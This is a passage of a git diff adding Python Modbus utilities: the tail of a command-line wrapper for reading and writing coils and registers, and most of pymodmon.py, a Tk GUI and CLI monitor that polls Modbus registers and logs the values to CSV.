elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = 